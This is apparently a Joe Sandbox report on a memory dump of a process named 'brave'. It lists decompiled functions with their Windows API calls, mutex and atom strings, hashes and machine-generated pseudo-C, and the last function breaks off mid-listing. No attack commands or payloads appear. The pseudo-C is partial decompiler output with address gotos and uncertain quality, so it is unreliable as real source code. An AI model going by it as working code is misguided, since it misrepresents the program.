failed to get string from atom, xrefs: 00007FF77BEF72F6
aaaaaaaa, xrefs: 00007FF77BEF711E
__shmem3_winpthreads_tdm_, xrefs: 00007FF77BEF70B7, 00007FF77BEF70E7
failed to to lock creation mutex, xrefs: 00007FF77BEF72D6

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: AtomMutex$CloseCreateCurrentFindHandleObjectProcessReleaseSingleWait_onexit
String ID: FeLhAaAa__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAAAAAaaaaaAAaAaaaaAaAaaaaaaaaa$aaaaaaaa$aaaaaaaa$failed to add string to atom table$failed to get string from atom$failed to to lock creation mutex
API String ID: 2382646235-1327676392
Opcode ID: a7566c4363776fb2f142f84513ee5a94bc791e29e32db4c34a702c3beaa6482f
Instruction ID: 1bb634adbdd09eedd5a9f54355f93a1d541c7b7724d5c1421296aef3c3b12fc7
Opcode Fuzzy Hash: a7566c4363776fb2f142f84513ee5a94bc791e29e32db4c34a702c3beaa6482f
Instruction Fuzzy Hash: 656152F7A3CA42C9EB45AB18B8012B9A7A1BF59785FC95035D90E473A4EE7CB505C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF3520 Relevance: 24.4, APIs: 16, Instructions: 450
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEF3520(void* __edx, void* __r8) {
				void* _t1;
				void* _t6;

				if (_t6 != 0) goto 0x7bef3548;
				if (__r8 == 0) goto 0x7bef3588;
				return _t1;
			}

0x7ff77bef352d
0x7ff77bef3532
0x7ff77bef3544

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 00007FF77BEF3594
TlsGetValue.KERNEL32 ref: 00007FF77BEF35ED
CloseHandle.KERNEL32 ref: 00007FF77BEF362B
CloseHandle.KERNEL32 ref: 00007FF77BEF3638
TlsSetValue.KERNEL32 ref: 00007FF77BEF36A5

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CloseHandleValue$ExceptionHandlerRemoveVectored
String ID:
API String ID: 2941551293-0
Opcode ID: 67c97d2b0fe632f4fb20c12def0e5228ddbe2ecb36f3870be98da43108ad0dd3
Instruction ID: 15452579c92c6320b6977d45c5315c909e5152f894002c0739861ef62e091e22
Opcode Fuzzy Hash: 67c97d2b0fe632f4fb20c12def0e5228ddbe2ecb36f3870be98da43108ad0dd3
Instruction Fuzzy Hash: DC221673A39A4689EA94BB1AD454378A2A0EF88B94FC54175DA0D433E9DFBCF444C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF6F70 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32 ref: 00007FF77BEF6F81
WaitForSingleObject.KERNEL32 ref: 00007FF77BEF6F92
FindAtomA.KERNEL32 ref: 00007FF77BEF6FFF
ReleaseMutex.KERNEL32 ref: 00007FF77BEF700D
CloseHandle.KERNEL32 ref: 00007FF77BEF7016
CloseHandle.KERNEL32 ref: 00007FF77BEF7037

Strings

FeLhAaAa__shmem3_winpthreads_tdm_, xrefs: 00007FF77BEF6F7A
__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAAAAAaaaaaAAaAaaaaAaAaaaaaaaaa, xrefs: 00007FF77BEF6FF8
failed to to lock cleanup mutex, xrefs: 00007FF77BEF7028

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CloseHandleMutex$AtomCreateFindObjectReleaseSingleWait
String ID: FeLhAaAa__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAAAAAaaaaaAAaAaaaaAaAaaaaaaaaa$failed to to lock cleanup mutex
API String ID: 3776795807-3814668791
Opcode ID: f862491ff4c3ba5945405b97c927dcecf34c299a1984f3d4105c76ec3890af5a
Instruction ID: 59e1609e6ce0537e725cbb8a4d301696c759aeb2d3074a5150573fa22257bb7d
Opcode Fuzzy Hash: f862491ff4c3ba5945405b97c927dcecf34c299a1984f3d4105c76ec3890af5a
Instruction Fuzzy Hash: 3C2183B3A39A0389EF84BF55E414038A291BF48B95FC89435D80E473A4EE7CF841C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF2D40 Relevance: 16.7, APIs: 11, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00007FF77FF77BEF2D40(void* __ecx, void* __rdx) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* _t6;
				void* _t8;
				void* _t9;
				void* _t10;
				intOrPtr _t17;
				intOrPtr _t18;
				void* _t21;
				void* _t26;
				intOrPtr* _t27;
				void* _t28;
				void* _t30;
				void* _t31;
				void* _t32;

				_t27 =  *0x7c196920; // 0x7ff77c1a1400
				_t17 =  *_t27;
				if (_t17 == 0) goto 0x7bef2f30;
				if ( *((long long*)(_t17 + 0x28)) != 0) goto 0x7bef2f18;
				 *((long long*)(_t17 + 0x28)) = 0x7c1a13c8;
				if ( *0x7c1a13c8 == 1) goto 0x7bef2f25;
				E00007FF77FF77BEF2350(_t8, _t9, _t10,  *0x7c1a13c8 - 1, _t17, _t21, 0x7c1a13c8, _t26, _t27, _t28, _t30, _t31, _t32);
				_t18 =  *_t27;
				if (_t18 == 0) goto 0x7bef2dc0;
				if ( *((long long*)(_t18 + 0x30)) != 0) goto 0x7bef2de0;
				 *((long long*)(_t18 + 0x30)) = 0x7c192bd8;
				_t6 = TlsGetValue(??);
				if (0x7c192bd8 == 0) goto 0x7bef2df4;
				return _t6;
			}

0x7ff77bef2d4a
0x7ff77bef2d51
0x7ff77bef2d57
0x7ff77bef2d62
0x7ff77bef2d72
0x7ff77bef2d76
0x7ff77bef2d7c
0x7ff77bef2d81
0x7ff77bef2d87
0x7ff77bef2d8e
0x7ff77bef2d97
0x7ff77bef2da0
0x7ff77bef2dac
0x7ff77bef2dbb

APIs

TlsGetValue.KERNEL32 ref: 00007FF77BEF2DA0

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7a2b5f52572ddb7f3fab963f5045169fe13579b7e3dcc0f1855f9a6abb98b3e6
Instruction ID: c032a6fd2414112e24f63f485923e98280a8209e782d0b1a3d28391a973bfc6c
Opcode Fuzzy Hash: 7a2b5f52572ddb7f3fab963f5045169fe13579b7e3dcc0f1855f9a6abb98b3e6
Instruction Fuzzy Hash: 8A710A73A39B4689EBA0AF29E440369A7A0FF48B94FC44175EA5D173A5DF7CE444C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE4090 Relevance: 13.6, APIs: 4, Strings: 5, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF77BEE40C1
wcslen.MSVCRT ref: 00007FF77BEE4117

Part of subcall function 00007FF77BF0DEF0: memcpy.MSVCRT ref: 00007FF77BF0DF96
Part of subcall function 00007FF77BF0DEF0: memcpy.MSVCRT ref: 00007FF77BF0DFC1

wcslen.MSVCRT ref: 00007FF77BEE41B7
memcpy.MSVCRT ref: 00007FF77BEE42E6

Strings

@, xrefs: 00007FF77BEE426B
0, xrefs: 00007FF77BEE4260
, xrefs: 00007FF77BEE41CE
basic_string::_M_construct null not valid, xrefs: 00007FF77BEE4300
\??\, xrefs: 00007FF77BEE4110, 00007FF77BEE4129

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpywcslen
String ID: $0$@$\??\$basic_string::_M_construct null not valid
API String ID: 982415701-2971582370
Opcode ID: b5d247323698149d340c130ac0e6dd9a73dea5bbab17d57a17569d1199411ecf
Instruction ID: 8f2c1a10eefc281f3cdb79e34b4ddde1a6ba4f7cfbb92104db9b661556b280b0
Opcode Fuzzy Hash: b5d247323698149d340c130ac0e6dd9a73dea5bbab17d57a17569d1199411ecf
Instruction Fuzzy Hash: 4A611733628BC185E7709B69F4513AAB7A1FBC4B84F844225EA8C47BA9DF7CD104CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF0230 Relevance: 12.1, APIs: 8, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF77FF77BEF0230(intOrPtr* __rax, void* __rcx) {
				void* _t5;
				void* _t6;
				intOrPtr* _t11;
				intOrPtr _t13;

				_t11 = __rax;
				_t13 =  *((intOrPtr*)(__rcx + 0x10));
				if (_t13 == 0) goto 0x7bef0288;
				_t5 = E00007FF77FF77BEF5260(_t6, __rax);
				if (_t11 == 0) goto 0x7bef02c8;
				if ( *_t11 - _t13 < 0) goto 0x7bef0370;
				if ( *((intOrPtr*)(_t11 + 8 + (_t13 - 1) * 8)) == 0) goto 0x7bef0310;
				return _t5;
			}

0x7ff77bef0230
0x7ff77bef023a
0x7ff77bef0244
0x7ff77bef024c
0x7ff77bef0257
0x7ff77bef025f
0x7ff77bef0271
0x7ff77bef0284

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cc889c201c1278defaaf99408a4456667e3ccf6999556bd80ab9070f97d7a4e
Instruction ID: 324f5d6637186079cebeeed458d8093863ce4f69a27f7a03e52a66ee1861c134
Opcode Fuzzy Hash: 3cc889c201c1278defaaf99408a4456667e3ccf6999556bd80ab9070f97d7a4e
Instruction Fuzzy Hash: 17519533A3AA4689EB55BF19E4405B8A3A4EF54B84FD88535D90D073BAEE7CF541C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE39D0 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF77BEE3A58

Part of subcall function 00007FF77BF0DEF0: memcpy.MSVCRT ref: 00007FF77BF0DF96
Part of subcall function 00007FF77BF0DEF0: memcpy.MSVCRT ref: 00007FF77BF0DFC1

wcslen.MSVCRT ref: 00007FF77BEE3AE6
memcpy.MSVCRT ref: 00007FF77BEE3BFE

Strings

@, xrefs: 00007FF77BEE3B55
basic_string::_M_construct null not valid, xrefs: 00007FF77BEE3C18
0, xrefs: 00007FF77BEE3B4A
\??\, xrefs: 00007FF77BEE3A51, 00007FF77BEE3A6A
, xrefs: 00007FF77BEE3AEB

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: $0$@$\??\$basic_string::_M_construct null not valid
API String ID: 1844840824-2971582370
Opcode ID: ee05ecdc9710429fa0aab71fa4d1ecee077df793fd946b12f4536450c2e0f0d3
Instruction ID: 9337b687c77d3eaaa4b08338cdbea796a87551c3bad667010520367e206d71d1
Opcode Fuzzy Hash: ee05ecdc9710429fa0aab71fa4d1ecee077df793fd946b12f4536450c2e0f0d3
Instruction Fuzzy Hash: 04513C33628BC591E761EB59E4503AAF3A0FBC4B84F948125EA8D43BA9DF7CD544CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE3CD0 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF77BEE3D01
wcslen.MSVCRT ref: 00007FF77BEE3D57

Part of subcall function 00007FF77BF0DEF0: memcpy.MSVCRT ref: 00007FF77BF0DF96
Part of subcall function 00007FF77BF0DEF0: memcpy.MSVCRT ref: 00007FF77BF0DFC1

wcslen.MSVCRT ref: 00007FF77BEE3DF7
memcpy.MSVCRT ref: 00007FF77BEE3F26

Strings

basic_string::_M_construct null not valid, xrefs: 00007FF77BEE3F40
0, xrefs: 00007FF77BEE3EA0
@, xrefs: 00007FF77BEE3EAB
\??\, xrefs: 00007FF77BEE3D50, 00007FF77BEE3D69

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpywcslen
String ID: 0$@$\??\$basic_string::_M_construct null not valid
API String ID: 982415701-2209788446
Opcode ID: 94939aa4065493588ff229156f05ba003bfbe37133c0b9f2618c22385aa06220
Instruction ID: a6cb5f0a6abf4de42f2dfe0b330853535b3db2a954fbc3ca3aa9c3480add8a74
Opcode Fuzzy Hash: 94939aa4065493588ff229156f05ba003bfbe37133c0b9f2618c22385aa06220
Instruction Fuzzy Hash: AE613733628BC585E7709B59E4503AAF7A1FBC4B84F944225EA8C47BA9DF7CC104CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE28A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF77BEE28DA
CreateProcessInternalW.KERNELBASE ref: 00007FF77BEE299B

Strings

h, xrefs: 00007FF77BEE293E

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CreateInternalProcessmemset
String ID: h
API String ID: 101748716-2439710439
Opcode ID: 4d4c6bd9b39515601874f71ee75037faec39cd71e0ad7342273feacf9e5de60a
Instruction ID: 6e250a71a4644d460fc0ed76ac3252ec044d198e508847c5736ac4be7294c997
Opcode Fuzzy Hash: 4d4c6bd9b39515601874f71ee75037faec39cd71e0ad7342273feacf9e5de60a
Instruction Fuzzy Hash: 62214633628B8092E3609B19F41479AB7A5F7C4784F904139EACC47BA8CFBDD149CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF4030 Relevance: 3.7, APIs: 2, Instructions: 652
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00007FF77FF77BEF4030(signed int* __rcx, long long __rdx, void* __r8) {
				void* _t94;
				signed int _t95;
				signed int _t96;
				long long _t119;
				intOrPtr _t169;
				intOrPtr _t170;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t174;
				intOrPtr _t175;
				intOrPtr _t177;
				intOrPtr _t181;
				intOrPtr _t182;
				intOrPtr _t183;
				intOrPtr _t185;
				intOrPtr _t186;
				intOrPtr _t187;
				intOrPtr _t189;
				intOrPtr _t191;
				intOrPtr _t192;
				intOrPtr _t194;
				intOrPtr _t196;
				signed long long _t198;
				long long _t205;
				long long* _t251;
				intOrPtr* _t252;
				long long _t253;
				long long _t260;

				_t251 = __rcx;
				_t253 = __rdx;
				if (__rcx == 0) goto 0x7bef45f0;
				_t252 =  *0x7c196920; // 0x7ff77c1a1400
				_t169 =  *_t252;
				if (_t169 == 0) goto 0x7bef42f8;
				if ( *((long long*)(_t169 + 0x38)) != 0) goto 0x7bef4318;
				 *((long long*)(_t169 + 0x38)) = 0x7c192bd0;
				E00007FF77FF77BEF84D0(0x7c192bd0);
				_t170 =  *_t252;
				if (_t170 == 0) goto 0x7bef432d;
				if ( *((long long*)(_t170 + 0x48)) == 0) goto 0x7bef4458;
				_t198 =  *((intOrPtr*)( *((intOrPtr*)(_t170 + 0x48))));
				goto 0x7bef40e5;
				_t172 =  *_t252;
				if (_t198 -  *((intOrPtr*)( *((intOrPtr*)( *_t252 + 0x40)))) >= 0) goto 0x7bef4100;
				if ( *((long long*)(_t172 + 0x10)) == 0) goto 0x7bef4358;
				if ( *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t172 + 0x10)))) + _t198 * 8)) == 0) goto 0x7bef4470;
				if (_t172 == 0) goto 0x7bef4370;
				if ( *((long long*)(_t172 + 0x40)) != 0) goto 0x7bef40b0;
				 *((long long*)(_t172 + 0x40)) = 0x7c1a13c4;
				if (_t198 + 1 -  *0x7c1a13c4 < 0) goto 0x7bef40bb;
				goto 0x7bef414d;
				asm("o16 nop [eax+eax]");
				_t173 =  *_t252;
				if (0 -  *((intOrPtr*)( *((intOrPtr*)(_t172 + 0x48)))) >= 0) goto 0x7bef4168;
				if ( *((long long*)(_t173 + 0x10)) == 0) goto 0x7bef43d8;
				if ( *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x10)))))) == 0) goto 0x7bef44d0;
				if (_t173 == 0) goto 0x7bef43f0;
				if ( *((long long*)(_t173 + 0x48)) != 0) goto 0x7bef4118;
				 *((long long*)(_t173 + 0x48)) = 0x7c1a13c0;
				if (1 -  *0x7c1a13c0 < 0) goto 0x7bef4123;
				if (_t173 == 0) goto 0x7bef4765;
				if ( *((long long*)(_t173 + 0x40)) == 0) goto 0x7bef45b0;
				_t174 =  *_t252;
				if ( *((long long*)( *((intOrPtr*)(_t173 + 0x40)))) == 0x100000) goto 0x7bef45cb;
				if (_t174 == 0) goto 0x7bef47ee;
				_t119 =  *((long long*)(_t174 + 0x40));
				if (_t119 == 0) goto 0x7bef4608;
				_t175 =  *_t252;
				if (_t119 != 0) goto 0x7bef41cb;
				if ( *((long long*)(_t175 + 0x40)) != 0) goto 0x7bef47e5;
				 *((long long*)(_t175 + 0x40)) = 0x7c1a13c4;
				_t205 =  *0x7c1a13c4 + 1;
				if (_t175 == 0) goto 0x7bef4997;
				if ( *((long long*)(_t175 + 0x10)) == 0) goto 0x7bef46d0;
				realloc(??, ??);
				_t260 =  *((intOrPtr*)(_t175 + 0x10));
				_t177 =  *_t252;
				if (_t260 == 0) goto 0x7bef4b52;
				if (_t177 == 0) goto 0x7bef49d5;
				if ( *((long long*)(_t177 + 0x40)) == 0) goto 0x7bef46b8;
				r8d = _t94;
				r8d = r8d -  *((intOrPtr*)( *((intOrPtr*)(_t177 + 0x40))));
				if ( *((intOrPtr*)( *_t252 + 0x40)) == 0) goto 0x7bef46a0;
				memset(??, ??, ??);
				_t181 =  *_t252;
				if (_t181 == 0) goto 0x7bef4971;
				if ( *((long long*)(_t181 + 0x10)) == 0) goto 0x7bef4680;
				_t182 =  *_t252;
				 *((long long*)( *((intOrPtr*)(_t181 + 0x10)))) = _t260;
				if (_t182 == 0) goto 0x7bef4852;
				if ( *((long long*)(_t182 + 0x40)) == 0) goto 0x7bef4670;
				_t183 =  *_t252;
				r12d =  *((intOrPtr*)( *((intOrPtr*)(_t182 + 0x40))));
				if ( *((long long*)(_t183 + 0x48)) == 0) goto 0x7bef4660;
				r12d = r12d + 1;
				 *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x48)))) = r12d;
				if ( *((long long*)(_t183 + 0x40)) == 0) goto 0x7bef4650;
				 *__rcx =  *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x40))));
